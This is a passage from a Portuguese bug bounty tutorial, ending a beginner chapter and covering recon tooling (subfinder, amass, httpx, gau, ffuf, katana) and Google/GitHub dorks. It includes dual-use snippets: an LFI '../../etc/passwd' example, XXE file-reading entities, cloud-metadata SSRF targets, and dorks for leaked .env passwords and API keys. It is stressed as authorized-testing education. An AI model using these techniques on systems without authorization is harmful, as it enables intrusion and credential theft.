- **Frustração faz parte.** Você vai colecionar **duplicadas** e **informativos** antes do primeiro pago — e duplicada, longe de ser derrota, é o sinal de que você está no **caminho certo** (alguém achou o mesmo bug antes; você só precisa achar **primeiro** ou ir **mais fundo**). Foque em aprender e em **testar o que aprendeu**.

Glossário rápido (os termos que vão aparecer ao longo do guia)

Vai topar com essas palavras o tempo todo nos próximos posts. Guarde aqui — quando esquecer, volta nesta seção. (Os termos de HTTP, cookie/sessão, header e proxy já foram explicados acima.)

- **API** — a "porta de entrada" pra falar com o servidor por código (em vez de telas). Em geral devolve **JSON**. Cada URL/ação dela é um **endpoint** (ex.: `GET /api/v1/usuarios/1001`).
- **Endpoint** — um caminho específico da aplicação/API que aceita requests (ex.: `/login`, `/api/faturas`).
- **Payload** — o "conteúdo" que você envia. Pode ser o **corpo** de uma request, ou, em ataque, a **string maliciosa** que você injeta (ex.: um payload de XSS).
- **Token** — uma credencial que prova quem você é depois do login, enviada a cada request (normalmente no header `Authorization: Bearer ...`). Substitui ficar mandando senha toda hora.
- **JWT (JSON Web Token)** — o tipo de token mais comum. São **três partes separadas por ponto** — `header.payload.signature` — cada uma em **Base64URL**. O `payload` carrega dados (ex.: `userId`, `role`) e a `signature` garante que ninguém alterou o token. Base64 **não é** criptografia: dá pra ler o conteúdo de um JWT em jwt.io. Exploração a fundo no capítulo Account Takeover.
- **Hash × Criptografia × Encoding** (não confunda — cai muito):
- **Encoding** (ex.: **Base64**, URL-encoding): só **muda o formato**, reversível por qualquer um. **Não protege nada.**
- **Hash** (ex.: SHA-256, bcrypt): via de **mão única**, não dá pra "des-hashear" (mas dá pra quebrar por força bruta se for fraco).
- **Criptografia** (ex.: AES): reversível **só com a chave**. É o que de fato protege confidencialidade.
- **TLS / HTTPS** — a camada que **criptografa** a conexão entre navegador e servidor (o cadeado). O **certificado** é o que prova a identidade do site (e é por isso que o Burp instala o dele — Passo 2b).
- **DNS / Subdomínio / CNAME** — o DNS traduz nome (`alvo.com`) em IP. **Subdomínio** é `loja.alvo.com`. **CNAME** é um "apelido" que aponta um nome pra outro — central no capítulo Subdomain Takeover.

- **Same-Origin Policy (SOP)** — regra do navegador: por padrão, um site **não** lê dados de outra origem (domínio+porta+protocolo). É a base da segurança no browser.
- **CORS** — o mecanismo que **relaxa** a SOP de forma controlada (libera origens específicas). Mal configurado, vira vulnerabilidade.
- **CSP (Content Security Policy)** — header que diz ao navegador **de onde** scripts/recursos podem rodar. É a principal defesa contra XSS.
- **WAF (Web Application Firewall)** — um "porteiro" que filtra requests suspeitas antes de chegar na aplicação. Dá pra burlar (você verá vários *bypasses* ao longo do guia).
- **PoC (Proof of Concept)** — a prova mínima de que a falha existe (a request/print que demonstra), que vai no report.
- **PII** — dados pessoais (nome, CPF, e-mail, endereço). Vazar PII = alto impacto.
- **CVE / CWE / CVSS** — **CVE** é o "RG" de uma vuln pública conhecida (`CVE-AAAA-NNNN`); **CWE** é a *categoria* da falha; **CVSS** é a nota de severidade. Tudo no capítulo Severidade e Impacto.
- **Recon / Fuzzing** — **recon** é mapear o alvo (o que existe); **fuzzing** é disparar muitas tentativas pra descobrir caminhos/parâmetros. Detalhe no capítulo Recon & Discovery.
- **API / GraphQL / Introspection** — além de REST, muitas apps usam **GraphQL** (uma única URL `/graphql` que aceita *queries*). **Introspection** é um recurso do GraphQL que **lista todo o schema** (tipos, campos, operações) — ouro pro atacante quando fica habilitado. Tudo no capítulo Segurança de APIs.
- **Mass Assignment** — quando você manda **campos extras** no JSON da request (ex.: `"role":"admin"` , `"isAdmin":true`) e a aplicação aceita cegamente, alterando o que não devia. Mais no capítulo Segurança de APIs.
- **SSL Pinning** — o app **mobile** só confia num certificado específico, o que **trava o Burp** (o certificado dele é rejeitado). Resolve-se com *bypass* via Frida/objection. Veja Bug Bounty em Mobile.
- **Deeplink** — um link especial (ex.: `app://...`) que abre uma tela específica de um app mobile. Deeplinks mal validados viram vetor de ataque. Veja Mobile.
- **Cloud metadata** — um endpoint interno da nuvem (ex.: `http://169.254.169.254`) que devolve credenciais/configuração da máquina. Alvo clássico de **SSRF** → ver SSRF.
- **Primitiva / Chaining** — uma **primitiva** é o que uma falha te dá de "poder" (ler arquivo, redirecionar, fazer request server-side...). **Chaining** é **encadear** várias primitivas/falhas pequenas até um impacto crítico. O capítulo Chaining de Vulnerabilidades é só sobre isso.
- **XXE / Entidade externa** — no XML, uma "entidade externa" (`<!ENTITY x SYSTEM "file:///...">`) faz o **parser** buscar um arquivo/URL. Abusar disso pra ler arquivos ou fazer SSRF é o XXE.
- **Serialização / Gadget chain** — **serializar** é virar um objeto em bytes/string (pra salvar/trafegar); **deserializar** dado não-confiável pode virar RCE encadeando classes já presentes (**gadget chain**). Veja Insecure Deserialization.

- **Prototype Pollution** — poluir o `Object.prototype` do JavaScript (via `__proto__`), o que afeta **todos** os objetos da aplicação. Veja Prototype Pollution.
- **S3 / IAM / IMDS** — termos de nuvem AWS: **S3** (armazenamento em *buckets*), **IAM** (identidades e permissões), **IMDS** (endpoint de metadata `169.254.169.254` que pode devolver credenciais). Veja Cloud & AWS.

Ferramentas + labs legais

Pra praticar sem pisar em terreno ilegal:

- **PortSwigger Web Security Academy** — a melhor fonte **gratuita** do mundo, do mesmo time do Burp. Labs interativos por classe de falha, com solução.
- **OWASP Juice Shop** — app deliberadamente vulnerável, moderno (SPA + API), ótimo pra treinar.
- **DVWA** (Damn Vulnerable Web Application) — clássico pra rodar local e estudar cada falha em níveis de dificuldade.
- **TryHackMe** e **Hack The Box** — trilhas guiadas e máquinas pra praticar pentest.
- **Burp Suite Community** — interceptar, Repeater e Intruder, como vimos.

Checklist do iniciante

- [ ] Entendo o fluxo **cliente → servidor → banco** e por que segurança no cliente não conta.
- [ ] Sei ler uma **request HTTP** crua (linha inicial, headers, body).
- [ ] Conheço os **métodos** (GET/POST/PUT/DELETE) e o que é *safe* e *idempotente*.
- [ ] Reconheço os **status codes** que importam (200, 401, 403, 404, 429, 500).
- [ ] Sei a diferença entre `401` **(não autenticado)** e `403` **(sem permissão)**.
- [ ] Tenho **cristalina** a diferença entre **autenticação** e **autorização**.
- [ ] Sei recitar de cabeça o que é cada item do **OWASP Top 10 2021**.
- [ ] Sempre **leio o escopo e as regras** antes de testar — e só toco no autorizado.
- [ ] Consigo **interceptar, editar e reenviar** uma request no Burp (Proxy + Repeater).
- [ ] Tenho conta numa plataforma (HackerOne/Bugcrowd) e um **lab** pra treinar.

Pegadinhas e o que NÃO funciona

- **Achar que validação no front protege.** O cliente é seu — `disabled`, campo oculto e checagem em JS são contornáveis. A segurança real é **no servidor**.
- **Confundir `401` com `403`.** `401` = falta logar; `403` = logado, sem permissão. Confundir leva a diagnóstico errado.
- **Testar fora do escopo "só pra ver".** Out-of-scope é out-of-scope. Além de não pagar, pode te tirar do programa — ou pior, virar caso de polícia.
- **Achar que `GET` nunca muda estado.** Ele **não deveria**, mas tem app que altera dado num `GET`. Não confunda "como deveria ser" com "como está".

- **Disparar Intruder/scanner sem limite num alvo real.** Automação agressiva pode causar indisponibilidade — viola regras e pode dar dano. Em lab, à vontade; em produção, com parcimônia.
- **Decorar payload sem entender.** Payload sem modelo mental do HTTP por trás é tiro no escuro. Entenda o **porquê**.

O que você precisa lembrar

- A web é **cliente ↔ servidor ↔ banco**, conversando por **HTTP**. Tudo que vem do cliente é **controlável** — e tratar isso como confiável é a origem da maioria das falhas.
- **Autenticação** = "quem é você"; **autorização** = "você pode?". Não confunda — é a base do bug que mais paga.
- O **OWASP Top 10 2021** é o seu mapa; **A01 (Broken Access Control)** e **A03 (Injection)** são onde começar.
- Bug bounty é **caça autorizada**: leia escopo e regras, use PoC mínima, divulgue com responsabilidade.
- **Burp Suite** é a lupa: Proxy intercepta, Repeater testa, Intruder automatiza.

> **Dica de ouro:** o caçador iniciante decora payloads; o caçador que evolui **lê a request e pergunta "o que o servidor está confiando aqui que ele não deveria?"**. Toda falha web é uma resposta a essa pergunta. Comece por VDP/DoD pra ganhar reputação, vá fundo num único alvo, e use o Repeater pra **provar** — não só achar — que tem bug.

Nota ética

Tudo aqui é pra **testes autorizados**: programas de bug bounty (dentro do escopo), pentests contratados e labs legais. Testar sistemas de terceiros sem autorização é crime, além de totalmente desnecessário quando existe tanto lab bom (PortSwigger Academy, Juice Shop, DVWA, THM, HTB) pra treinar de graça. Use esse conhecimento pra **proteger**, reportar com responsabilidade e ensinar.

Referências

- OWASP Top 10 2021 — a lista usada neste capítulo e a página de cada categoria. (OWASP Top 10 2025 — edição mais recente.)
- MDN — HTTP request methods — métodos, *safe* e *idempotent*.
- MDN — HTTP response status codes — todas as famílias de status.
- MDN — Using HTTP cookies — cookies, sessão e flags `HttpOnly` / `Secure` / `SameSite`.
- PortSwigger — Getting started with Burp Suite — setup oficial do proxy.
- PortSwigger Web Security Academy — labs gratuitos por classe de falha.
- HackerOne — Bug Bounty Programs e Bugcrowd — plataformas pra começar.

Recon & Discovery: encontrando a superfície de ataque

A falha que mais paga nasce no recon, não no payload

Tem um mito de iniciante que diz que bug bounty é decorar payload. Não é. O caçador experiente sabe que **80% do resultado vem de onde quase ninguém olha**: aquele subdomínio esquecido de homologação, o endpoint de API que só aparece num arquivo JavaScript minificado, o `.env` que vazou num commit de três anos atrás. (Endpoint = um endereço/rota específico da aplicação que recebe requisições, tipo `/api/v1/users`. Mais no Glossário.) O payload é o último 20% — e ele só funciona se você **achou a porta certa primeiro**.

Existe um relato recorrente nesse mundo: o caçador que ganhou **cinco dígitos** num único bounty não usou nenhum exploit mirabolante. Ele integrou uma fonte de dados que poucos conheciam à sua ferramenta de enumeração de subdomínios, encontrou um host que **nenhuma outra ferramenta pegou**, mapeou um fluxo que a maioria ignorava e chegou num **Account Takeover**. Resumindo a lição dele: "*não precisa de exploit avançado, precisa saber onde olhar*".

Recon (de *reconnaissance*, reconhecimento) é exatamente isso: o trabalho metódico de **mapear a superfície de ataque** — tudo que o alvo expõe pra internet — antes de testar uma única falha. Neste capítulo a gente vai do básico (o que é passivo vs. ativo) até o avançado (construir paths manualmente a partir do JS), apresentando cada ferramenta: o que ela é, como instalar e quais flags importam.

O que é "superfície de ataque" (e por que mapear)

Analogia: imagine que o alvo é um prédio grande e você é um auditor de segurança contratado. Antes de testar uma fechadura, você dá a volta no quarteirão inteiro e anota **cada porta, janela, saída de incêndio, entrada de garagem e duto de ventilação**. Esse mapa completo é a superfície de ataque. O ladrão amador vai direto na porta da frente (o domínio principal, `alvo.com`, que está blindado). O profissional encontra a janela do porão que ninguém lembrava que existia (`old-api.staging.alvo.com`).

Superfície de ataque é o conjunto de todos os pontos onde um atacante pode interagir com o sistema: domínios, subdomínios, IPs, portas, endpoints de API, parâmetros, arquivos estáticos, repositórios públicos. **Recon é o ato de descobrir e catalogar esses pontos.**

A primeira grande divisão que você precisa entender:

Tipo	O que faz	Toca o alvo?	Exemplo
Passivo	Coleta dados de **fontes de terceiros** (Google, logs de certificado, arquivos web archive)	**Não** — você nunca manda pacote pro alvo	`crt.sh`, `gau`, `subfinder` (com APIs)
Ativo		**Sim**	

Tipo	O que faz	Toca o alvo?	Exemplo
	Manda requisições **direto pro alvo** pra confirmar, resolver e descobrir		`httpx`, `ffuf`, `katana`, brute-force de subdomínio

> **Por que a ordem importa:** sempre comece **passivo**. Ele é silencioso, não dispara WAF (*Web Application Firewall* — o "porteiro" que filtra tráfego malicioso e pode te bloquear; mais no Glossário), não consome rate limit e te dá uma lista enorme de candidatos de graça. Só depois você parte pro **ativo** pra confirmar o que está vivo. Inverter a ordem é gastar ruído (e risco de block) com alvos que talvez nem existam.

Por que isso importa (e quanto paga)

O recon não é uma vulnerabilidade — é o que **destrava** todas as outras. Mas em muitos programas, achados de recon **já pagam sozinhos**:

- **Subdomain takeover** — um subdomínio aponta (registro DNS `CNAME`, o apelido que diz "este nome é, na verdade, aquele outro endereço") pra um serviço que foi desprovisionado (bucket S3 órfão, app Heroku não reclamado). Você recria o recurso e passa a servir conteúdo arbitrário sob o domínio confiável do alvo. Em programas reais, esse padrão paga na faixa de **R$750 a alguns milhares**, dependendo do impacto (phishing, roubo de sessão).
- **Information disclosure** — um arquivo de backup (`index.php.save`), um painel de debug, um endpoint de telemetria que vaza versões de software. Achados simples assim pagam de **R$500** pra cima.
- **Segredos vazados** — credenciais de produção hardcoded num `app.js` exposto no GitHub. Isso é **crítico** e paga muito (faixa de **R$5.000+**) porque dá acesso direto à aplicação.

E o efeito multiplicador: o subdomínio esquecido que você só achou no recon é onde mora o IDOR, o SQLi, o painel admin sem auth. **O recon define o tamanho do seu campo de jogo.**

> **Sempre confira o escopo primeiro.** Cada programa define o que está dentro do alvo (in-scope) — às vezes só `*.alvo.com`, às vezes domínios específicos. Testar fora do escopo não paga e pode te tirar do programa. Recon amplo é bom; testar fora do escopo é proibido.

Como funciona por trás: as fontes de dados do recon passivo

O recon passivo parece mágica ("como você achou 800 subdomínios sem tocar no alvo?"), mas é só saber **quais bancos de dados públicos** registram a infraestrutura de todo mundo. Os três pilares:

1. **Certificate Transparency (CT) logs.** Toda vez que uma Autoridade Certificadora emite um certificado TLS (o cadeado HTTPS), ela é **obrigada a registrar isso num log público e auditável**. Esses logs incluem o nome do domínio do certificado. Como `meu-subdominio-secreto.alvo.com` precisa de certificado pra ter HTTPS, o nome dele **vaza no CT log**. O `crt.sh` é a interface de busca desses logs.
2. **Web archives (Wayback Machine, Common Crawl, etc.).** Crawlers vasculham a internet há mais de uma década e guardam **toda URL que já viram**. Ferramentas como `gau` e `waybackurls` consultam esses arquivos e te devolvem URLs históricas — inclusive endpoints que foram removidos do site atual mas que **ainda existem no backend**.
3. **Agregadores de DNS/inteligência (OTX, VirusTotal, SecurityTrails...).** Serviços que mapeiam DNS passivamente. O `subfinder` consulta dezenas dessas fontes de uma vez via API.

A ideia central: **você não precisa fazer barulho pra descobrir o que já está registrado em algum lugar público.**

As etapas do recon (o pipeline mental)

Não decore comandos soltos — entenda o fluxo. Cada etapa alimenta a próxima:

```
1. Enumerar subdomínios   (subfinder, amass, crt.sh)        -> lista de hosts
2. Resolver / probing     (httpx)                            -> hosts VIVOS + tech
3. Coletar URLs           (gau, waybackurls, katana)         -> endpoints/params
4. Analisar JavaScript    (ler + linkfinder)                 -> rotas escondidas
5. Fuzzing                (ffuf, paramspider)                -> conteúdo/params novos
6. Dorks                  (Google, GitHub)                   -> docs, segredos
7. Scan por templates     (nuclei)                           -> CVEs, exposições
```

Vamos detalhar cada uma, apresentando as ferramentas.

Etapa 1 — Enumeração de subdomínios

subfinder — o cavalo de batalha do recon passivo. É um enumerador que consulta **dezenas de fontes públicas** (CT logs, agregadores de DNS, motores de busca) de uma vez e te entrega a lista de subdomínios. É *passivo*: ele pergunta pras fontes, não bombardeia o alvo.

```
# Instalar (precisa de Go recente — 1.24+ — pra evitar erro de build)
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
```

```
# Uso básico: -d = domínio, -all usa TODAS as fontes, -silent só imprime os subdomínios
subfinder -d alvo.com -all -silent -o subs.txt
```

- `-d alvo.com` → o domínio-raiz a enumerar.
- `-all` → ativa todas as fontes (sem isso, usa só as gratuitas mais rápidas). **Aqui mora ouro**: o relato do bounty de cinco dígitos veio justamente de uma fonte extra. Você adiciona suas próprias chaves de API no arquivo `$HOME/.config/subfinder/provider-config.yaml` (flag `-pc`) — isso desbloqueia fontes (SecurityTrails, Censys, etc.) que pegam subdomínios que ninguém mais pega.
- `-silent` → suprime o banner e logs, deixando só os subdomínios na saída (essencial pra encadear com `|`).
- `-o subs.txt` → salva o resultado.

crt.sh — a consulta direta aos CT logs, sem instalar nada. Ele tem uma API JSON que você consome com `curl` + `jq`:

```
# %.alvo.com = "qualquer coisa".alvo.com (o % é o coringa do SQL que o crt.sh usa)
# (comentários em linha própria: um "# ..." depois da "\" quebra a continuação da
linha)
curl -s "https://crt.sh/?q=%.alvo.com&output=json" \
  | jq -r '.[].name_value' \
  | sed 's/\*\.//g' \
  | sort -u
```

Cada peça: `curl -s` baixa o JSON em modo silencioso; `jq -r '.[].name_value'` percorre o array (`.[]`) e imprime o campo `name_value` (o nome do certificado) sem aspas (`-r` = raw); o `sed` limpa entradas wildcard tipo `*.alvo.com`; `sort -u` deduplica. Resultado: lista limpa de subdomínios, **100% passiva**.

amass — o enumerador mais completo (e mais pesado) da OWASP. A diferença pro subfinder é que o amass faz **enumeração ativa** opcional (resolução DNS, brute-force, varredura de blocos de IP), além da passiva.

```
go install -v github.com/owasp-amass/amass/v4/...@master

# Passivo: só consulta fontes públicas, NÃO toca no alvo
amass enum -passive -d alvo.com -o amass-passive.txt

# Ativo: resolve DNS e faz brute-force de nomes (FAZ barulho no alvo)
amass enum -active -brute -d alvo.com -o amass-active.txt
```

- `enum` → o subcomando de enumeração.
- `-passive` → modo silencioso, só fontes de terceiros (comece sempre por aqui).
- `-active` → resolve os nomes e confirma o que existe de verdade.
- `-brute` → testa nomes de uma wordlist (`dev`, `api`, `staging`...) contra o DNS do alvo — **isso é ativo e gera tráfego**, use com consciência de escopo.

> **Por que rodar subfinder *e* amass *e* crt.sh?** Porque cada um cobre fontes diferentes. A regra é: **junte tudo e deduplique.** `cat subs.txt amass-*.txt crtsh.txt | sort -u > all-subs.txt`. O subdomínio que vale o bounty pode ser justamente o que só uma das três achou.

Etapa 2 — Probing e resolução com httpx

Você tem uma lista de **centenas de nomes** — mas quais estão **vivos**? Quais respondem HTTP? Em qual porta? Que tecnologia rodam? É aqui que entra o `httpx`.

httpx (apresentando a ferramenta): é um cliente HTTP rápido e multi-thread da ProjectDiscovery, feito pra **provar (probing) uma lista grande de hosts** e extrair metadados de cada um. Não confunda com a biblioteca Python `httpx` — aqui é o binário em Go. Ele responde: "*deste monte de nomes, quais são servidores web reais, e o que cada um é?*"

```
# Instalar
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

# Probing: lê a lista do stdin, filtra os vivos (200) e detecta título + tecnologia
cat all-subs.txt | httpx -mc 200 -title -tech-detect
```

Decifrando as flags (todas verificadas na doc oficial):

- `-mc 200` (*match-code*) → só mostra hosts que retornam status **200 OK**. Você pode passar vários: `-mc 200,302,401` (um `401` revela uma área autenticada interessante!).
- `-title` → imprime o `<title>` da página. Útil pra bater o olho: "Painel Admin", "Grafana", "Login Interno".
- `-tech-detect` (atalho `-td`) → identifica a stack (nginx, WordPress, Spring Boot, React...). Saber a tecnologia direciona seus testes.

Outras flags que você vai usar muito:

```
cat all-subs.txt | httpx -sc -ct -server -ip -location -td -title
```

- `-sc` (*status-code*) → mostra o código HTTP.
- `-ct` (*content-type*) → o tipo de conteúdo (`application/json`, `text/html`...).
- `-server` (*web-server*) → o header `Server` (versão de servidor às vezes vaza aqui).
- `-ip` → resolve e mostra o IP.
- `-location` → mostra o destino de redirecionamentos.

E uma trick real e elegante, vinda de um programa de governo (o padrão se aplica a qualquer alvo no escopo): caçar **erros expostos** direto no probing.

```
# -path adiciona um caminho a cada host; -ms procura uma string no corpo da resposta
cat all-subs.txt | httpx -title -ms 'Server Error' -path '/:;:;'
```

Aqui `-path '/:;:;'` injeta um caminho propositalmente malformado em cada host, e `-ms 'Server Error'` (*match-string*) filtra só os que devolvem uma página de erro de servidor — que muitas vezes **vaza stack trace, caminho de arquivos ou configuração interna** (information disclosure, reportável).

> **Analogia:** subfinder/amass/crt.sh são o **carteiro coletando todos os endereços** de uma rua. O httpx é você **tocando a campainha de cada um** pra ver quem mora ali, quem atende e como é a casa por dentro — tudo de uma vez.

Etapa 3 — URLs históricas com gau e waybackurls

Agora você tem os hosts vivos. Mas e os **endpoints**? O site atual mostra 10 links; o backend pode ter centenas de rotas antigas ainda funcionando. Pra isso, consultamos os arquivos web.

gau (apresentando a ferramenta): *getallurls*. Ele busca **URLs conhecidas** de um domínio a partir de quatro fontes de arquivo: **Wayback Machine, Common Crawl, AlienVault OTX e URLScan**. É 100% passivo — ele não rastreia o alvo, só pergunta pros arquivos "que URLs desse domínio vocês já viram?".

```
go install github.com/lc/gau/v2/cmd/gau@latest

# Domínio via argumento ou stdin; --subs inclui subdomínios; --o salva
gau alvo.com --subs --o urls-historicas.txt
```

- `--subs` → inclui URLs de subdomínios, não só do domínio-raiz.
- `--providers wayback,commoncrawl,otx,urlscan` → escolhe as fontes (por padrão usa todas).
- `--threads 5` → número de workers.
- `--blacklist png,jpg,css` → ignora extensões inúteis (imagens, estáticos).

waybackurls (apresentando a ferramenta): o irmão mais simples e clássico, do tomnomnom. Faz **só a Wayback Machine**, mas é rápido e confiável. Recebe domínios por stdin:

```
go install github.com/tomnomnom/waybackurls@latest
cat all-subs.txt | waybackurls > wayback.txt
```

> **LFI** (Local File Inclusion): ler arquivos do servidor (ex.: /etc/passwd) por parâmetros como ?file=../../etc/passwd.

> **Por que isso é poderoso:** essas URLs vêm carregadas de **parâmetros antigos** (`?id=`, `?file=`, `?redirect=`) e de **endpoints removidos da UI mas vivos no servidor**. Um parâmetro que o frontend não usa mais é um parâmetro que **ninguém testa** — terreno fértil pra IDOR, LFI e open redirect.

Etapa 4 — Análise de JavaScript (a melhor fonte de informação)

Se eu tivesse que escolher **uma única** etapa de recon pra dominar, seria essa. Num relato real de um bug **crítico** (acesso a +200 páginas com milhares de dados sensíveis de usuários e admins), a lição número 1 do caçador foi literal:

> *"Arquivos JavaScript são a melhor fonte de informação sobre qualquer aplicação. Gaste o tempo necessário olhando CADA detalhe do JS — não apenas extraia paths com ferramentas."*

Por que o JS é ouro? Porque numa aplicação moderna (React, Vue, Angular), **toda a lógica de quais rotas e endpoints de API existem está no JavaScript que roda no seu navegador**. O frontend precisa saber pra onde mandar as requisições — então os paths de API, nomes de parâmetros, rotas de admin e às vezes até chaves estão **escritos no JS**, mesmo que escondidos atrás de minificação. É o mapa da aplicação entregue na sua mão.

Primeiro, ache os arquivos `.js` (esta é a trick clássica que combina três ferramentas):

```
# 1. gau coleta URLs  2. grep filtra só as .js  3. httpx confirma quais estão vivas e são JS
echo alvo.com | gau | grep '\.js$' | httpx -sc -mc 200 -ct | grep -iE 'text/javascript|application/javascript'
```

Passo a passo: `echo alvo.com | gau` lista as URLs históricas; `grep '\.js$'` mantém só as que terminam em `.js`; `httpx -sc -mc 200 -ct` mantém as que respondem **200** e mostra o content-type; o `grep` final garante que é JS de verdade (e não um 404 disfarçado). Filtramos `text/javascript` **e** `application/javascript` porque servidores usam um ou outro — pela RFC 9239, `text/javascript` é o tipo padrão hoje, mas `application/javascript` (agora obsoleto) ainda aparece muito; pegar só um deles faz você perder arquivos JS válidos.

Agora vem a parte que separa o amador do profissional. Você tem duas abordagens, e o ideal é **as duas**:

(a) Extração automática com LinkFinder. O LinkFinder usa regex pra varrer um arquivo JS e extrair todos os endpoints/paths que parecem URLs:

```
git clone https://github.com/GerbenJavado/LinkFinder
cd LinkFinder && pip install -r requirements.txt
# -i = input (arquivo ou URL);  -o cli = saída no terminal
python3 linkfinder.py -i https://alvo.com/static/app.min.js -o cli
```

Ferramentas como o LinkFinder, a extensão **FindSomething** (Chrome) ou o modo `-jsl` (jsluice) do katana fazem essa primeira passada automática rapidíssimo.

(b) Leitura manual — o pulo do gato. Ferramenta automática extrai o que está escrito de forma óbvia. Mas o achado crítico daquele relato **não foi encontrado por fuzzing nem por gau nem por recon comum** — foi preciso *entender o PADRÃO de paths da aplicação e construir manualmente um path coerente* a partir das referências no JS.

Analogia: o LinkFinder te dá as palavras soltas que ele reconheceu num texto. A leitura manual é você **entender a gramática** e formar frases novas que fazem sentido. Se você vê no JS:

```
// trechos que você acha lendo o app.js manualmente:
const API = "/api/v2/users/{id}/documents";
const ADMIN_BASE = "/internal/admin";
fetch(`${ADMIN_BASE}/reports/${reportId}/export`);
```

Você acabou de descobrir o **padrão** `/internal/admin/<recurso>/<id>/<ação>`. Aí você **constrói** rotas que o JS não cita explicitamente, por analogia: `/internal/admin/users/1001/export`, `/internal/admin/invoices/...`. Foi exatamente assim que se chegou às +200 páginas com dados sensíveis.

Detalhe avançado do mesmo caso: nem sempre a rota responde de cara. No bug real, a rota identificada no JS **não retornava 200** no contexto normal — foi preciso um **bypass com o caractere** `;` numa parte específica do path pra acessá-la (técnica de path confusion que veremos em posts futuros). Lição: *não desista se um path não responde 200 de primeira; persista se a intuição apontar.*

> **Cuidado com falso-positivo de segredo.** Achar uma "secret key" do Vue/React no JS **quase sempre não vale nada** — são variáveis públicas de build (`VUE_APP_*`), sitekeys de reCAPTCHA, public keys do Stripe (`pk_live_`...). O que importa é identificar um **token/credencial realmente sensível** (um `PERSONAL_ACCESS_TOKEN`, um JWT de serviço — token em 3 partes `header.payload.signature`; detalhe no Glossário). Valide o que achou antes de comemorar.

Etapa 5 — Fuzzing de conteúdo e parâmetros

Fuzzing = **adivinhação inteligente em massa**. Você pega uma wordlist (lista de nomes comuns: `admin`, `backup`, `api`, `.git`, `config.php`...) e testa cada um contra o alvo pra descobrir conteúdo que não está linkado em lugar nenhum.

ffuf (apresentando a ferramenta): *Fuzz Faster U Fool*. O fuzzer web mais usado. Você marca o ponto de injeção com a palavra-chave `FUZZ` na URL, e o ffuf substitui pela cada linha da wordlist.

```
go install github.com/ffuf/ffuf/v2@latest

# Descobrir diretórios/arquivos escondidos
ffuf -w wordlist.txt -u https://alvo.com/FUZZ -mc 200,301,302,401,403 -t 10
```

Decifrando:

- `-w wordlist.txt` → a wordlist (cada linha vira uma tentativa no lugar de `FUZZ`). Boas wordlists: as do projeto **SecLists**.
- `-u https://alvo.com/FUZZ` → a URL; `FUZZ` é onde entra cada palavra.
- `-mc 200,301,302,401,403` → quais status considerar "achado". Por padrão o ffuf já casa `200-299,301,302,307,401,403,405,500`.
- `-t 10` → **threads (concorrência). ESTA é a flag-chave pra rate limit.** O default é **40 threads** (rápido, mas barulhento). Em programa que limita requisições, baixe pra `-t 10` ou menos. Existe também `-rate` (requisições/segundo) e `-p` (delay entre requisições) pra controle fino.

> **Lição real de campo:** programas (visto na **Intigriti**, por exemplo) muitas vezes **especificam o limite de requisições permitido nas regras**. Estourar isso pode te derrubar do programa. Threads menores deixam o scan mais lento, mas é o preço de não tomar block. **Leia as regras antes de soltar 40 threads.**

Fuzzing de conteúdo acha coisas valiosas: aquele report real de **PHP Source Disclosure** veio de um `ffuf` com wordlist comum que encontrou `index.php.save` (arquivo de backup) — e dentro dele estavam **variáveis de ambiente com senhas internas**. Bounty pago. Sempre fuzze por `.bak`, `.save`, `.old`, `.git`, `~`.

katana (apresentando a ferramenta): um **crawler** (rastreador) da ProjectDiscovery. Enquanto o ffuf adivinha, o katana **navega** o site como um robô, seguindo links, e — crucialmente — **parseia o JavaScript** pra extrair endpoints. É a ponte entre a Etapa 4 e o fuzzing.

```
CGO_ENABLED=1 go install github.com/projectdiscovery/katana/cmd/katana@latest

# -jc = rastrear endpoints dentro de arquivos JS;  -d = profundidade;  -rl = rate limit
katana -u https://alvo.com -jc -d 3 -rl 10 -o katana-urls.txt
```

- `-u` → a URL inicial (ou `-list arquivo.txt`).
- `-jc` (*js-crawl*) → **liga o parsing de JavaScript** — pega endpoints que estão dentro dos `.js`. Use sempre.
- `-d 3` (*depth*) → profundidade do rastreamento (quantos cliques de distância). Default é 3.
- `-rl 10` (*rate-limit*) → **requisições por segundo** (default 150 — muito alto pra programa sensível). Abaixe pra ser educado.
- `-kf` (*known-files*) → também busca `robots.txt` e `sitemap.xml`.

- `-jsl` (*jsluice*) → parsing de JS ainda mais agressivo.

paramspider (apresentando a ferramenta): especialista em **descobrir parâmetros**. Ele minera os web archives (Wayback) atrás de URLs que tiveram parâmetros e te devolve elas com um placeholder, prontas pra fuzzar valores.

```
git clone https://github.com/devanshbatham/paramspider
cd paramspider && pip install .

# -d = domínio;  -s mostra no terminal;  -p define o placeholder do valor
paramspider -d alvo.com
```

- `-d alvo.com` → domínio alvo (ou `-l lista.txt` pra vários).
- `-s` → faz stream do resultado no terminal.
- `-p FUZZ` (*placeholder*) → o valor que ele coloca em cada parâmetro (default `FUZZ`), pronto pra encadear com outras ferramentas.

> **Katana + ParamSpider = "fuzzing passivo".** Uma metodologia testada na prática: pra ser mais educado com o alvo, faça **fuzzing passivo** (katana rastreando + paramspider minerando archives) **antes** do fuzzing ativo agressivo. Você descobre muita coisa sem o barulho de uma wordlist gigante batendo no servidor. Depois complementa autenticado (logado na aplicação) pra ver as rotas internas.

Etapa 6 — Google dorks e GitHub dorks

Dork é uma busca avançada usando operadores (`site:`, `inurl:`, `filename:`) pra encontrar exatamente o que você quer nos índices do Google ou do GitHub. É recon passivo puro — você consulta o índice de outra pessoa.

Google dorks — pra achar documentação de API, painéis e arquivos expostos:

```
# Documentação de API (onde IDs, endpoints e exemplos aparecem de bandeja)
site:alvo.com inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer

# Endpoints de API e versões
site:alvo.com inurl:api | inurl:/rest | inurl:/v1 | inurl:/v2 | inurl:/v3
```

O `site:` restringe ao domínio; o `inurl:` casa uma string na URL; o `|` é o operador OR. Um Swagger exposto é um presente: ele **lista todos os endpoints, parâmetros e modelos da API** num só lugar.

E o clássico que extrapola o domínio do alvo — vazamento em SaaS de terceiros indexado pelo Google. Houve um achado real onde um simples `site:trello.com "alvo.com"` revelou um **quadro Trello público** com dados de acesso e referência a um Jira interno da empresa, indexado pelo Google. Generalize: `site:trello.com`, `site:pastebin.com`, `site:s3.amazonaws.com` + o nome/domínio do alvo.

GitHub dorks — pra achar **segredos vazados em código**. Devs commitam `.env`, chaves e senhas sem querer o tempo todo. Você busca no GitHub:

```
# Variáveis de ambiente com chave de API
filename:.env "API_KEY"
filename:.env DB_PASSWORD

# Credenciais e tokens no código, restritos à organização do alvo
org:NomeDaEmpresa password
"alvo.com" api_key
